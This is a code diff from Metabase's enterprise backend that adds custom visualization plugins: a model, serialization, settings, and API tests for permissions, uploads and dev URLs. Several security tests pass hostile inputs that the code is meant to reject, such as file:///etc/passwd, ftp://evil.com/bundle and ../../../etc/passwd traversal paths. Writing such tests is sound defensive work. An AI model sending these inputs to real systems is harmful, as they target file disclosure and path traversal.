+ "Columns to select for normal plugin metadata reads, excluding the raw bundle blob."
+ [:id :identifier :display_name :icon :status :error_message :enabled
+ :manifest :metabase_version :bundle_hash :dev_bundle_url
+ :created_at :updated_at])
+
+(defn select-one-non-blob
+ "Like `t2/select-one` on `:model/CustomVizPlugin`, but excludes the bundle blob."
+ [& conditions]
+ (apply t2/select-one (into [:model/CustomVizPlugin] non-blob-columns) conditions))
+
+(defn select-non-blob
+ "Like `t2/select` on `:model/CustomVizPlugin`, but excludes the bundle blob."
+ [& conditions]
+ (apply t2/select (into [:model/CustomVizPlugin] non-blob-columns) conditions))
+
+(defmethod mi/can-read? :model/CustomVizPlugin
+ ([_instance] (some? api/*current-user-id*))
+ ([_model _pk] (some? api/*current-user-id*)))
+
+(defmethod mi/can-write? :model/CustomVizPlugin
+ ([_instance] api/*is-superuser?*)
+ ([_model _pk] api/*is-superuser?*))
+
+(defmethod mi/can-create? :model/CustomVizPlugin
+ [_model _instance]
+ api/*is-superuser?*)
+
+(methodical/defmethod mi/to-json :model/CustomVizPlugin
+ "Never include the raw bundle bytes in JSON."
+ [plugin json-generator]
+ (next-method (dissoc plugin :bundle) json-generator))
+
+;;; ------------------------------------------------- Serialization --------------------------------------------------
+
+(defn- bundle->b64 ^String [^bytes b]
+ (some-> b codecs/bytes->b64-str))
+
+(defn- b64->bundle ^bytes [^String s]
+ (some-> s codecs/b64->bytes))
+
+(defmethod serdes/make-spec "CustomVizPlugin"
+ [_model-name _opts]
+ {:copy [:display_name :identifier :enabled :icon :manifest :metabase_version :bundle_hash]
+ :skip [:dev_bundle_url :error_message]
+ :defaults {:enabled true}
+ :transform {:created_at (serdes/date)
+ :status {:export (constantly ::serdes/skip)
+ :import (constantly "pending")}
+ :bundle {:export bundle->b64
+ :import b64->bundle}}})
+
+(defmethod serdes/entity-id "CustomVizPlugin" [_ {:keys [identifier]}]
+ identifier)
+
+(defmethod serdes/generate-path "CustomVizPlugin" [_ entity]
+ [{:model "CustomVizPlugin"
+ :id (:identifier entity)
+ :label (:identifier entity)}])
+
+(defmethod serdes/hash-fields :model/CustomVizPlugin
+ [_model]
+ [:identifier])
+
+(defmethod serdes/load-find-local "CustomVizPlugin" [path]
+ (let [{:keys [id]} (last path)]
+ (t2/select-one :model/CustomVizPlugin :identifier id)))
+
+(defmethod serdes/storage-path "CustomVizPlugin" [entity _ctx]
+ [{:label "custom_viz_plugins"} {:label (:identifier entity)}])
diff --git a/enterprise/backend/src/metabase_enterprise/custom_viz_plugin/settings.clj b/enterprise/backend/src/metabase_enterprise/custom_viz_plugin/settings.clj
new file mode 100644
index 00000000000..6b497efaa2c
--- /dev/null
+++ b/enterprise/backend/src/metabase_enterprise/custom_viz_plugin/settings.clj
@@ -0,0 +1,30 @@
+(ns metabase-enterprise.custom-viz-plugin.settings
+ (:require
+ [metabase.premium-features.core :refer [defenterprise]]
+ [metabase.settings.core :refer [defsetting]]
+ [metabase.util.i18n :refer [deferred-tru]]))
+
+(defsetting custom-viz-plugin-dev-mode-enabled
+ (deferred-tru "Whether custom visualization plugin dev mode is enabled. When false, the dev endpoints are disabled.")
+ :type :boolean
+ :default false
+ :visibility :public
+ :setter :none
+ :audit :never
+ :export? false)
+
+(defsetting custom-viz-enabled
+ (deferred-tru "Should custom visualizations be enabled for this instance?")
+ :type :boolean
+ :default false
+ :feature :custom-viz
+ :visibility :admin
+ :export? true
+ :audit :getter)
+
+(defenterprise enable-custom-viz?
+ "Enterprise implementation: custom visualizations are enabled when the admin has opted in via the
+ `custom-viz-enabled` setting and the instance's token includes the `:custom-viz` premium feature."
+ :feature :custom-viz
+ []
+ (boolean (custom-viz-enabled)))
diff --git a/enterprise/backend/src/metabase_enterprise/serialization/v2/extract.clj b/enterprise/backend/src/metabase_enterprise/serialization/v2/extract.clj
index 7e186cec2b6..2cffe861da5 100644
--- a/enterprise/backend/src/metabase_enterprise/serialization/v2/extract.clj
+++ b/enterprise/backend/src/metabase_enterprise/serialization/v2/extract.clj
@@ -38,7 +38,10 @@
(conj "Transform" "TransformTag" "TransformJob" "PythonLibrary")
(not (:no-embedding-themes opts))
- (conj "EmbeddingTheme")))
+ (conj "EmbeddingTheme")
+
+ (not (:no-custom-viz-plugins opts))
+ (conj "CustomVizPlugin")))
(defn make-targets-of-type
"Returns a targets seq with model type and given ids"
diff --git a/enterprise/backend/src/metabase_enterprise/serialization/v2/ingest.clj b/enterprise/backend/src/metabase_enterprise/serialization/v2/ingest.clj
index 222795dc6cd..8a41f1bd9c7 100644
--- a/enterprise/backend/src/metabase_enterprise/serialization/v2/ingest.clj
+++ b/enterprise/backend/src/metabase_enterprise/serialization/v2/ingest.clj
@@ -82,7 +82,7 @@
(def legal-top-level-paths
"Known top-level paths for directory with serialization output.
We support both \"python-libraries\" and \"python_libraries\" for backwards compatibility. The modern name is \"python_libraries\"."
- #{"actions" "channels" "collections" "databases" "embedding_themes" "glossary" "metabots" "python_libraries" "python-libraries" "snippets" "transforms"})
+ #{"actions" "channels" "collections" "custom_viz_plugins" "databases" "embedding_themes" "glossary" "metabots" "python_libraries" "python-libraries" "snippets" "transforms"})
(defn- ingest-all
"Returns {:entities {unlabeled-hierarchy [hierarchy File]}, :errors [Exception...]}.
diff --git a/enterprise/backend/src/metabase_enterprise/serialization/v2/models.clj b/enterprise/backend/src/metabase_enterprise/serialization/v2/models.clj
index cdcaf6c8d8a..d7f5d969e0e 100644
--- a/enterprise/backend/src/metabase_enterprise/serialization/v2/models.clj
+++ b/enterprise/backend/src/metabase_enterprise/serialization/v2/models.clj
@@ -33,7 +33,8 @@
"The list of all models exported by serialization by default. Used for production code and by tests."
(concat data-model
content
- ["EmbeddingTheme"
+ ["CustomVizPlugin"
+ "EmbeddingTheme"
"FieldValues"
"Metabot"
"PythonLibrary"
diff --git a/enterprise/backend/test/metabase_enterprise/api/session_test.clj b/enterprise/backend/test/metabase_enterprise/api/session_test.clj
index 127f6deef39..937eafb371b 100644
--- a/enterprise/backend/test/metabase_enterprise/api/session_test.clj
+++ b/enterprise/backend/test/metabase_enterprise/api/session_test.clj
@@ -62,6 +62,7 @@
:upload-management
:whitelabel
:collection-cleanup
+ :custom-viz
:database-routing
:tenants
:cloud-custom-smtp
@@ -112,6 +113,8 @@
:upload_management true
:whitelabel true
:collection_cleanup true
+ :custom-viz true
+ :custom-viz-available true
:database_routing true
:tenants true
:cloud_custom_smtp true
@@ -119,13 +122,15 @@
:etl_connections_pg false
:dependencies false
:writable_connection true}
- (:token-features (mt/user-http-request :crowberto :get 200 "session/properties"))))))
+ (mt/with-temporary-setting-values [custom-viz-enabled true]
+ (:token-features (mt/user-http-request :crowberto :get 200 "session/properties")))))))
(deftest security-center-token-feature-test
(testing "admin_security_center is true for self-hosted with the feature flag"
(mt/with-premium-features #{:admin-security-center}
(is (true? (:admin_security_center
(:token-features (mt/user-http-request :crowberto :get 200 "session/properties"))))))))
+
;;; ---------------------------------------- server-side session timeout tests -----------------------------------------
(deftest session-timeout-enforces-last-active-at-test
diff --git a/enterprise/backend/test/metabase_enterprise/custom_viz_plugin/api_test.clj b/enterprise/backend/test/metabase_enterprise/custom_viz_plugin/api_test.clj
new file mode 100644
index 00000000000..ece5fc715a9
--- /dev/null
+++ b/enterprise/backend/test/metabase_enterprise/custom_viz_plugin/api_test.clj
@@ -0,0 +1,637 @@
+(ns metabase-enterprise.custom-viz-plugin.api-test
+ (:require
+ [clojure.string :as str]
+ [clojure.test :refer :all]
+ [metabase-enterprise.custom-viz-plugin.cache :as cache]
+ [metabase-enterprise.custom-viz-plugin.settings :as custom-viz.settings]
+ [metabase-enterprise.custom-viz-plugin.test-util :as cvp.tu]
+ [metabase.config.core :as config]
+ [metabase.test :as mt]
+ [metabase.test.fixtures :as fixtures]
+ [metabase.test.http-client :as client]
+ [metabase.util.json :as json]
+ [toucan2.core :as t2]))
+
+(set! *warn-on-reflection* true)
+
+(use-fixtures :once (fixtures/initialize :db :web-server :test-users))
+
+(use-fixtures :each
+ (fn [thunk]
+ (mt/with-temporary-setting-values [custom-viz-enabled true]
+ (thunk))))
+
+(defmacro ^:private with-dev-mode-enabled [& body]
+ `(with-redefs [custom-viz.settings/custom-viz-plugin-dev-mode-enabled (constantly true)]
+ ~@body))
+
+(defn- multipart-upload!
+ "Send a multipart `bundle-bytes` tar.gz to `path` as user `user`, expecting `status`.
+
+ Defaults to POST (the create-new-plugin endpoint); pass `:method :put` for the
+ replace-bundle endpoint."
+ [user status path ^bytes bundle-bytes & {:keys [method] :or {method :post}}]
+ (mt/user-http-request user method status path
+ {:request-options {:headers {"content-type" "multipart/form-data"}}}
+ {:file bundle-bytes}))
+
+;;; ------------------------------------------------ Auth & Permissions ------------------------------------------------
+
+(deftest authorization-test
+ (mt/with-premium-features #{:custom-viz}
+ (testing "non-admin cannot list plugins (admin list)"
+ (is (= "You don't have permissions to do that."
+ (mt/user-http-request :rasta :get 403 "ee/custom-viz-plugin/"))))
+ (testing "admin can list plugins"
+ (is (sequential? (mt/user-http-request :crowberto :get 200 "ee/custom-viz-plugin/"))))
+ (testing "non-admin cannot delete plugins"
+ (mt/with-temp [:model/CustomVizPlugin {id :id} {:identifier "auth-test"
+ :display_name "auth-test"
+ :status :active}]
+ (is (= "You don't have permissions to do that."
+ (mt/user-http-request :rasta :delete 403 (str "ee/custom-viz-plugin/" id))))))
+ (testing "non-admin cannot update plugins"
+ (mt/with-temp [:model/CustomVizPlugin {id :id} {:identifier "auth-test-2"
+ :display_name "auth-test-2"
+ :status :active}]
+ (is (= "You don't have permissions to do that."
+ (mt/user-http-request :rasta :put 403 (str "ee/custom-viz-plugin/" id)
+ {:enabled false})))))
+ (testing "non-admin cannot set dev URL"
+ (mt/with-temp [:model/CustomVizPlugin {id :id} {:identifier "auth-test-3"
+ :display_name "auth-test-3"
+ :status :active}]
+ (is (= "You don't have permissions to do that."
+ (mt/user-http-request :rasta :put 403 (str "ee/custom-viz-plugin/" id "/dev-url")
+ {:dev_bundle_url "http://localhost:5174"})))))
+ (testing "non-admin cannot refresh plugins"
+ (mt/with-temp [:model/CustomVizPlugin {id :id} {:identifier "auth-test-4"
+ :display_name "auth-test-4"
+ :status :active}]
+ (is (= "You don't have permissions to do that."
+ (mt/user-http-request :rasta :post 403 (str "ee/custom-viz-plugin/" id "/refresh"))))))
+ (testing "non-admin cannot upload a new bundle"
+ (mt/with-temp [:model/CustomVizPlugin {id :id} {:identifier "auth-test-5"
+ :display_name "auth-test-5"
+ :status :active}]
+ (is (= "You don't have permissions to do that."
+ (multipart-upload! :rasta 403 (str "ee/custom-viz-plugin/" id "/bundle")
+ (cvp.tu/valid-bundle-bytes "auth-test-5")
+ :method :put)))))))
+
+(deftest feature-flag-test
+ (testing "endpoints require :custom-viz premium feature"
+ (mt/with-premium-features #{}
+ (mt/assert-has-premium-feature-error
+ "Custom Visualizations"
+ (mt/user-http-request :crowberto :get 402 "ee/custom-viz-plugin/")))))
+
+;;; ------------------------------------------------ /list endpoint ------------------------------------------------
+
+(deftest list-endpoint-test
+ (mt/with-premium-features #{:custom-viz}
+ (testing "/list is available to non-admin users"
+ (is (sequential? (mt/user-http-request :rasta :get 200 "ee/custom-viz-plugin/list"))))
+ (testing "/list only returns active and enabled plugins"
+ (mt/with-temp [:model/CustomVizPlugin _ {:identifier "active-viz"
+ :display_name "Active Viz"
+ :status :active
+ :enabled true
+ :bundle_hash "active-hash"}
+ :model/CustomVizPlugin _ {:identifier "disabled-viz"
+ :display_name "Disabled Viz"
+ :status :active
+ :enabled false
+ :bundle_hash "disabled-hash"}
+ :model/CustomVizPlugin _ {:identifier "error-viz"
+ :display_name "Error Viz"
+ :status :error
+ :enabled true
+ :bundle_hash "error-hash"}]
+ (let [result (mt/user-http-request :rasta :get 200 "ee/custom-viz-plugin/list")
+ identifiers (set (map :identifier result))]
+ (is (contains? identifiers "active-viz"))
+ (is (not (contains? identifiers "disabled-viz")))
+ (is (not (contains? identifiers "error-viz"))))))
+ (testing "/list does not expose the raw bundle blob"
+ (mt/with-temp [:model/CustomVizPlugin _ {:identifier "bundle-viz"
+ :display_name "Bundle Viz"
+ :status :active
+ :enabled true
+ :bundle_hash "abcd"}]
+ (let [result (mt/user-http-request :rasta :get 200 "ee/custom-viz-plugin/list")]
+ (doseq [plugin result]
+ (is (not (contains? plugin :bundle)))))))
+ (testing "/list bundle_url is suffixed with ?v=<bundle_hash> so a re-uploaded bundle bypasses the immutable browser cache"
+ (mt/with-temp [:model/CustomVizPlugin _ {:identifier "cachebust-viz"
+ :display_name "Cachebust Viz"
+ :status :active
+ :enabled true
+ :bundle_hash "deadbeefcafe"}]
+ (let [result (mt/user-http-request :rasta :get 200 "ee/custom-viz-plugin/list")
+ entry (first (filter #(= "cachebust-viz" (:identifier %)) result))]
+ (is (re-find #"\?v=deadbeefcafe$" (:bundle_url entry))))))))
+
+;;; ------------------------------------------------ Bundle bytes not exposed ------------------------------------------------
+
+(deftest bundle-bytes-not-exposed-test
+ (mt/with-premium-features #{:custom-viz}
+ (mt/with-temp [:model/CustomVizPlugin {id :id} {:identifier "bytes-sec"
+ :display_name "Bytes Sec"
+ :status :active
+ :enabled true
+ :bundle (.getBytes "pretend-zip-bytes" "UTF-8")
+ :bundle_hash "feedface"}]
+ (testing "GET / (admin list) does not expose :bundle"
+ (let [plugins (mt/user-http-request :crowberto :get 200 "ee/custom-viz-plugin/")]
+ (doseq [plugin plugins]
+ (is (not (contains? plugin :bundle))))))
+ (testing "PUT /:id response does not expose :bundle"
+ (let [resp (mt/user-http-request :crowberto :put 200 (str "ee/custom-viz-plugin/" id)
+ {:enabled false})]
+ (is (not (contains? resp :bundle))))))))
+
+;;; ------------------------------------------------ Duplicate Validation ------------------------------------------------
+
+(deftest duplicate-identifier-test
+ (mt/with-premium-features #{:custom-viz}
+ (testing "uploading a bundle whose identifier already exists returns a 400"
+ (mt/with-temp [:model/CustomVizPlugin _ {:identifier "dup-viz"
+ :display_name "dup-viz"
+ :status :active}]
+ (is (re-find #"identifier.*already exists"
+ (multipart-upload! :crowberto 400 "ee/custom-viz-plugin/"
+ (cvp.tu/valid-bundle-bytes "dup-viz"))))))))
+
+;;; ------------------------------------------------ CRUD ------------------------------------------------
+
+(deftest delete-test
+ (mt/with-premium-features #{:custom-viz}
+ (testing "admin can delete a plugin"
+ (mt/with-temp [:model/CustomVizPlugin {id :id} {:identifier "delete-viz"
+ :display_name "Delete Viz"
+ :status :active}]
+ (mt/user-http-request :crowberto :delete 204 (str "ee/custom-viz-plugin/" id))
+ (is (nil? (t2/select-one :model/CustomVizPlugin :id id)))))
+ (testing "404 for non-existent plugin"
+ (mt/user-http-request :crowberto :delete 404 "ee/custom-viz-plugin/99999"))))
+
+(deftest update-test
+ (mt/with-premium-features #{:custom-viz}
+ (testing "admin can disable a plugin"
+ (mt/with-temp [:model/CustomVizPlugin {id :id} {:identifier "update-viz"
+ :display_name "Update Viz"
+ :status :active
+ :enabled true}]
+ (let [resp (mt/user-http-request :crowberto :put 200 (str "ee/custom-viz-plugin/" id)
+ {:enabled false})]
+ (is (false? (:enabled resp))))))
+ (testing "404 for non-existent plugin"
+ (mt/user-http-request :crowberto :put 404 "ee/custom-viz-plugin/99999"
+ {:enabled false}))))
+
+;;; ------------------------------------------------ Dev URL Security ------------------------------------------------
+
+(deftest dev-url-security-test
+ (mt/with-premium-features #{:custom-viz}
+ (with-dev-mode-enabled
+ (mt/with-temp [:model/CustomVizPlugin {id :id} {:identifier "dev-sec"
+ :display_name "dev-sec"
+ :status :active}]
+ (testing "SECURITY: rejects file:// dev URL"
+ (is (= 400
+ (:status-code
+ (ex-data
+ (try
+ (cache/set-or-clear-dev-bundle! id "file:///etc/passwd")
+ (catch Exception e e)))))))
+ (testing "SECURITY: rejects ftp:// dev URL via API"
+ (is (= 400
+ (:status-code
+ (ex-data
+ (try
+ (cache/set-or-clear-dev-bundle! id "ftp://evil.com/bundle")
+ (catch Exception e e)))))))
+ (testing "admin can set valid http dev URL"
+ (let [resp (mt/user-http-request :crowberto :put 200 (str "ee/custom-viz-plugin/" id "/dev-url")
+ {:dev_bundle_url "http://localhost:5174"})]
+ (is (= "http://localhost:5174" (:dev_bundle_url resp)))))
+ (testing "admin can clear dev URL"
+ (let [resp (mt/user-http-request :crowberto :put 200 (str "ee/custom-viz-plugin/" id "/dev-url")
+ {:dev_bundle_url nil})]
+ (is (nil? (:dev_bundle_url resp)))))))))
+
+;;; ------------------------------------------------ Asset Endpoint Security ------------------------------------------------
+
+(deftest asset-endpoint-security-test
+ (mt/with-premium-features #{:custom-viz}
+ (let [manifest {:name "sec-test"
+ :icon "icon.svg"
+ :assets ["icon.svg"]}]
+ (mt/with-temp [:model/CustomVizPlugin {id :id} {:identifier "sec-test"
+ :display_name "sec-test"
+ :status :active
+ :bundle_hash "abc123"
+ :manifest manifest}]
+ (testing "SECURITY: rejects unsupported asset types"
+ (let [resp (mt/user-http-request :crowberto :get 404 (str "ee/custom-viz-plugin/" id "/asset")
+ :path "script.js")]
+ (is (some? resp))))
+ (testing "SECURITY: rejects path traversal in asset path"
+ (let [resp (mt/user-http-request :crowberto :get 404 (str "ee/custom-viz-plugin/" id "/asset")
+ :path "../../../etc/passwd")]
+ (is (some? resp))))
+ (testing "SECURITY: rejects HTML files (XSS vector)"
+ (let [resp (mt/user-http-request :crowberto :get 404 (str "ee/custom-viz-plugin/" id "/asset")
+ :path "evil.html")]
+ (is (some? resp))))
+ (testing "404 for non-existent plugin"
+ (mt/user-http-request :crowberto :get 404 "ee/custom-viz-plugin/99999/asset"
+ :path "icon.svg"))))))
+
+;;; ------------------------------------------------ Plugin Registration ------------------------------------------------
+
+(deftest register-plugin-test
+ (mt/with-premium-features #{:custom-viz}
+ (mt/with-model-cleanup [:model/CustomVizPlugin]
+ (testing "successful registration creates plugin and persists manifest fields"
+ (with-redefs [config/mb-version-info {:tag "v1.60.0"}
+ config/is-dev? false]
+ (let [zip (cvp.tu/make-tgz-bytes
+ [["metabase-plugin.json" (json/encode
+ {:name "new-register-viz"
+ :icon "icon.svg"
+ :metabase {:version ">=1.59.0"}})]
+ ["dist/index.js" "console.log('hi')"]])
+ resp (multipart-upload! :crowberto 200 "ee/custom-viz-plugin/" zip)
+ row (t2/select-one :model/CustomVizPlugin :identifier "new-register-viz")]
+ (is (= "new-register-viz" (:identifier resp)))
+ (is (false? (:dev_only resp))
+ "upload-registered plugins are not dev-only")
+ (is (= "new-register-viz" (:display_name row)))
+ (is (= "icon.svg" (:icon row)))
+ (is (= ">=1.59.0" (:metabase_version row)))
+ (is (= :active (:status row)))
+ (is (some? (:bundle_hash row)) "bundle_hash is populated")))))))
+
+(deftest register-plugin-missing-manifest-test
+ (mt/with-premium-features #{:custom-viz}
+ (mt/with-model-cleanup [:model/CustomVizPlugin]
+ (testing "POST returns 400 when zip is missing metabase-plugin.json"
+ (let [zip (cvp.tu/make-tgz-bytes [["dist/index.js" "console.log('hi')"]])
+ resp (multipart-upload! :crowberto 400 "ee/custom-viz-plugin/" zip)]
+ (is (re-find #"metabase-plugin\.json" (or (:message resp) (str resp)))))))))
+
+(deftest register-plugin-missing-bundle-test
+ (mt/with-premium-features #{:custom-viz}
+ (mt/with-model-cleanup [:model/CustomVizPlugin]
+ (testing "POST returns 400 when zip is missing dist/index.js"
+ (let [zip (cvp.tu/make-tgz-bytes
+ [["metabase-plugin.json" (json/encode {:name "no-bundle-viz"})]])
+ resp (multipart-upload! :crowberto 400 "ee/custom-viz-plugin/" zip)]
+ (is (re-find #"index\.js" (or (:message resp) (str resp)))))))))
+
+(deftest register-plugin-invalid-manifest-test
+ (mt/with-premium-features #{:custom-viz}
+ (mt/with-model-cleanup [:model/CustomVizPlugin]
+ (testing "POST returns 400 when manifest has no name field"
+ (let [zip (cvp.tu/make-tgz-bytes
+ [["metabase-plugin.json" (json/encode {:icon "icon.svg"})]
+ ["dist/index.js" "console.log('hi')"]])
+ resp (multipart-upload! :crowberto 400 "ee/custom-viz-plugin/" zip)]
+ (is (re-find #"\"name\"" (or (:message resp) (str resp)))))))))
+
+(deftest register-plugin-not-a-zip-test
+ (mt/with-premium-features #{:custom-viz}
+ (mt/with-model-cleanup [:model/CustomVizPlugin]
+ (testing "POST returns 400 when the uploaded bytes are not a zip"
+ (let [resp (multipart-upload! :crowberto 400 "ee/custom-viz-plugin/"
+ (.getBytes "this is plain text, not a zip" "UTF-8"))]
+ (is (some? resp)))))))
+
+(deftest register-plugin-oversize-rejected-by-multipart-test
+ (testing "uploads larger than max-bundle-bytes are rejected by Ring multipart middleware (413, before reaching the handler)"
+ (mt/with-premium-features #{:custom-viz}
+ (mt/with-model-cleanup [:model/CustomVizPlugin]
+ ;; one byte over the cap is enough — the multipart layer aborts streaming
+ ;; before the body is fully buffered.
+ (let [oversized (byte-array (inc cache/max-bundle-bytes))]
+ (multipart-upload! :crowberto 413 "ee/custom-viz-plugin/" oversized))))))
+
+(deftest register-dev-plugin-test
+ (mt/with-premium-features #{:custom-viz}
+ (with-dev-mode-enabled
+ (mt/with-model-cleanup [:model/CustomVizPlugin]
+ (testing "dev plugin registration with manifest name"
+ (with-redefs [cache/fetch-dev-manifest (constantly {:name "dev-chart" :icon "icon.svg"})
+ cache/set-or-clear-dev-bundle! (constantly nil)]
+ (let [resp (mt/user-http-request :crowberto :post 200 "ee/custom-viz-plugin/dev"
+ {:dev_bundle_url "http://localhost:5174"})]
+ (is (= "dev-chart" (:identifier resp)))
+ (is (= "dev-chart" (:display_name resp))
+ "display_name comes from manifest name")
+ (is (true? (:dev_only resp))
+ "dev-registered plugins are dev-only")
+ (is (= "active" (:status resp))
+ "dev plugins are immediately active"))))
+ (testing "dev plugin registration with explicit identifier overrides manifest"
+ (with-redefs [cache/fetch-dev-manifest (constantly {:name "manifest-name"})
+ cache/set-or-clear-dev-bundle! (constantly nil)]
+ (let [resp (mt/user-http-request :crowberto :post 200 "ee/custom-viz-plugin/dev"
+ {:dev_bundle_url "http://localhost:5174"
+ :identifier "my-override"})]
+ (is (= "my-override" (:identifier resp))
+ "explicit identifier takes precedence over manifest name"))))
+ (testing "dev plugin registration fails with helpful message when no identifier and no manifest"
+ (with-redefs [cache/fetch-dev-manifest (constantly nil)]
+ (let [resp (mt/user-http-request :crowberto :post 400 "ee/custom-viz-plugin/dev"
+ {:dev_bundle_url "http://localhost:5174"})]
+ (is (str/includes? resp "metabase-plugin.json")
+ "error should mention the manifest file"))))
+ (testing "dev plugin registration fails with helpful message when manifest missing name"
+ (with-redefs [cache/fetch-dev-manifest (constantly {:icon "icon.svg"})]
+ (let [resp (mt/user-http-request :crowberto :post 400 "ee/custom-viz-plugin/dev"
+ {:dev_bundle_url "http://localhost:5174"})]
+ (is (str/includes? resp "name")
+ "error should mention the missing name field"))))))))
+
+;;; ------------------------------------------------ Bundle Replace ------------------------------------------------
+
+(deftest replace-bundle-test
+ (mt/with-premium-features #{:custom-viz}
+ (testing "PUT /:id/bundle replaces an existing plugin's bundle and refreshes derived fields"
+ (mt/with-temp [:model/CustomVizPlugin {id :id} {:identifier "replace-viz"
+ :display_name "old name"
+ :status :active
+ :bundle (.getBytes "old" "UTF-8")
+ :bundle_hash "oldhash"}]
+ (let [zip (cvp.tu/make-tgz-bytes
+ [["metabase-plugin.json" (json/encode
+ {:name "replace-viz"
+ :icon "new-icon.svg"})]
+ ["dist/index.js" "console.log('new')"]])
+ resp (multipart-upload! :crowberto 200
+ (str "ee/custom-viz-plugin/" id "/bundle") zip
+ :method :put)
+ row (t2/select-one :model/CustomVizPlugin :id id)]
+ (is (= "replace-viz" (:identifier resp)))
+ (is (= "new-icon.svg" (:icon row)))
+ (is (not= "oldhash" (:bundle_hash row))
+ "bundle_hash should change when a new bundle is uploaded"))))))
+
+(deftest replace-bundle-identifier-mismatch-test
+ (mt/with-premium-features #{:custom-viz}
+ (testing "PUT /:id/bundle refuses a zip whose manifest name differs from the plugin's identifier"
+ (mt/with-temp [:model/CustomVizPlugin {id :id} {:identifier "mismatch-viz"
+ :display_name "mismatch-viz"
+ :status :active
+ :bundle_hash "abc"}]
+ (let [zip (cvp.tu/valid-bundle-bytes "some-other-identifier")
+ resp (multipart-upload! :crowberto 400
+ (str "ee/custom-viz-plugin/" id "/bundle") zip
+ :method :put)]
+ (is (re-find #"does not match" (or (:message resp) (str resp)))))))))
+
+;;; ------------------------------------------------ Update / Refresh ------------------------------------------------
+
+(deftest refresh-upload-plugin-test
+ (mt/with-premium-features #{:custom-viz}
+ (testing "refresh returns 400 for upload-backed plugins (users should POST a new bundle instead)"
+ (mt/with-temp [:model/CustomVizPlugin {id :id} {:identifier "refresh-upload"
+ :display_name "refresh-upload"
+ :status :active
+ :bundle_hash "abc"}]
+ (let [resp (mt/user-http-request :crowberto :post 400
+ (str "ee/custom-viz-plugin/" id "/refresh"))]
+ (is (re-find #"upload a new bundle" (or (:message resp) (str resp)))))))))
+
+(deftest refresh-dev-plugin-test
+ (mt/with-premium-features #{:custom-viz}
+ (with-dev-mode-enabled
+ (testing "refresh re-fetches manifest for dev-only plugins"
+ (mt/with-temp [:model/CustomVizPlugin {id :id} {:identifier "dev-refresh"
+ :display_name "dev-refresh"
+ :status :active
+ :dev_bundle_url "http://localhost:5174"}]
+ (with-redefs [cache/resolve-dev-bundle (constantly "http://localhost:5174")
+ cache/fetch-dev-manifest (constantly {:name "Updated Name" :icon "new-icon.svg"})]
+ (let [resp (mt/user-http-request :crowberto :post 200 (str "ee/custom-viz-plugin/" id "/refresh"))]
+ (is (= "Updated Name" (:display_name resp))))))))))
+
+;;; ------------------------------------------------ /list compatibility filtering ------------------------------------------------
+
+(deftest list-filters-incompatible-versions-test
+ (mt/with-premium-features #{:custom-viz}
+ (testing "/list excludes plugins with incompatible metabase_version"
+ (with-redefs [config/mb-version-info {:tag "v1.60.0"}
+ config/is-dev? false]
+ (mt/with-temp [:model/CustomVizPlugin _ {:identifier "compat-viz"
+ :display_name "Compatible"
+ :status :active
+ :enabled true
+ :bundle_hash "compat-hash"
+ :metabase_version ">=1.59"}
+ :model/CustomVizPlugin _ {:identifier "incompat-viz"
+ :display_name "Incompatible"
+ :status :active
+ :enabled true
+ :bundle_hash "incompat-hash"
+ :metabase_version ">=1.99"}]
+ (let [result (mt/user-http-request :rasta :get 200 "ee/custom-viz-plugin/list")
+ identifiers (set (map :identifier result))]
+ (is (contains? identifiers "compat-viz"))
+ (is (not (contains? identifiers "incompat-viz")))))))))
+
+;;; ------------------------------------------------ Bundle Endpoint ------------------------------------------------
+
+(deftest bundle-endpoint-test
+ (mt/with-premium-features #{:custom-viz}
+ (mt/with-temp [:model/CustomVizPlugin {id :id} {:identifier "bundle-test"
+ :display_name "bundle-test"
+ :status :active
+ :bundle_hash "abc123"}]
+ (testing "returns bundle with correct content-type and ETag"
+ (with-redefs [cache/resolve-dev-bundle (constantly nil)
+ cache/resolve-bundle (constantly {:content "console.log('hello')" :hash "deadbeef"})]
+ (let [resp (mt/user-http-request :crowberto :get 200 (str "ee/custom-viz-plugin/" id "/bundle"))]
+ (is (= "console.log('hello')" resp)))))
+ (testing "returns 503 when bundle is not available"
+ (with-redefs [cache/resolve-dev-bundle (constantly nil)
+ cache/resolve-bundle (constantly nil)]
+ (let [resp (mt/user-http-request :crowberto :get 503 (str "ee/custom-viz-plugin/" id "/bundle"))]
+ (is (some? resp))))))))
+
+(deftest bundle-and-list-auth-test
+ (mt/with-premium-features #{:custom-viz}
+ (mt/with-temp [:model/CustomVizPlugin {id :id} {:identifier "auth-bundle"
+ :display_name "auth-bundle"
+ :status :active
+ :enabled true
+ :bundle_hash "abc123"}]
+ (with-redefs [cache/resolve-dev-bundle (constantly nil)
+ cache/resolve-bundle (constantly {:content "console.log('hi')" :hash "h1"})]
+ (testing "authenticated non-admin user can access /bundle"
+ (is (= "console.log('hi')"
+ (mt/user-http-request :rasta :get 200 (str "ee/custom-viz-plugin/" id "/bundle")))))
+ (testing "unauthenticated user cannot access /bundle"
+ (is (= "Unauthenticated"
+ (client/client :get 401 (str "ee/custom-viz-plugin/" id "/bundle"))))))
+ (testing "authenticated non-admin user can access /list"
+ (is (sequential? (mt/user-http-request :rasta :get 200 "ee/custom-viz-plugin/list"))))
+ (testing "unauthenticated user cannot access /list"
+ (is (= "Unauthenticated"
+ (client/client :get 401 "ee/custom-viz-plugin/list")))))))
+
+;;; ------------------------------------------------ Audit Log ------------------------------------------------
+
+(deftest audit-log-create-test
+ (mt/with-premium-features #{:custom-viz :audit-app}
+ (mt/with-model-cleanup [:model/CustomVizPlugin]
+ (testing "registering a plugin records a custom-viz-plugin-create audit event"
+ (let [resp (multipart-upload! :crowberto 200 "ee/custom-viz-plugin/"
+ (cvp.tu/valid-bundle-bytes "audit-create-viz" {:icon "icon.svg"}))
+ entry (mt/latest-audit-log-entry "custom-viz-plugin-create" (:id resp))]
+ (is (partial=
+ {:topic :custom-viz-plugin-create
+ :user_id (mt/user->id :crowberto)
+ :model "CustomVizPlugin"
+ :model_id (:id resp)
+ :details {:identifier "audit-create-viz"
+ :display_name "audit-create-viz"
+ :status "active"
+ :enabled true}}
+ entry))
+ (is (some? (get-in entry [:details :bundle_hash]))
+ "bundle_hash should be recorded in audit details"))))))
+
+(deftest audit-log-create-dev-test
+ (mt/with-premium-features #{:custom-viz :audit-app}
+ (with-dev-mode-enabled
+ (mt/with-model-cleanup [:model/CustomVizPlugin]
+ (testing "registering a dev plugin records a custom-viz-plugin-create audit event"
+ (with-redefs [cache/fetch-dev-manifest (constantly {:name "audit-dev-chart" :icon "icon.svg"})
+ cache/set-or-clear-dev-bundle! (constantly nil)]
+ (let [resp (mt/user-http-request :crowberto :post 200 "ee/custom-viz-plugin/dev"
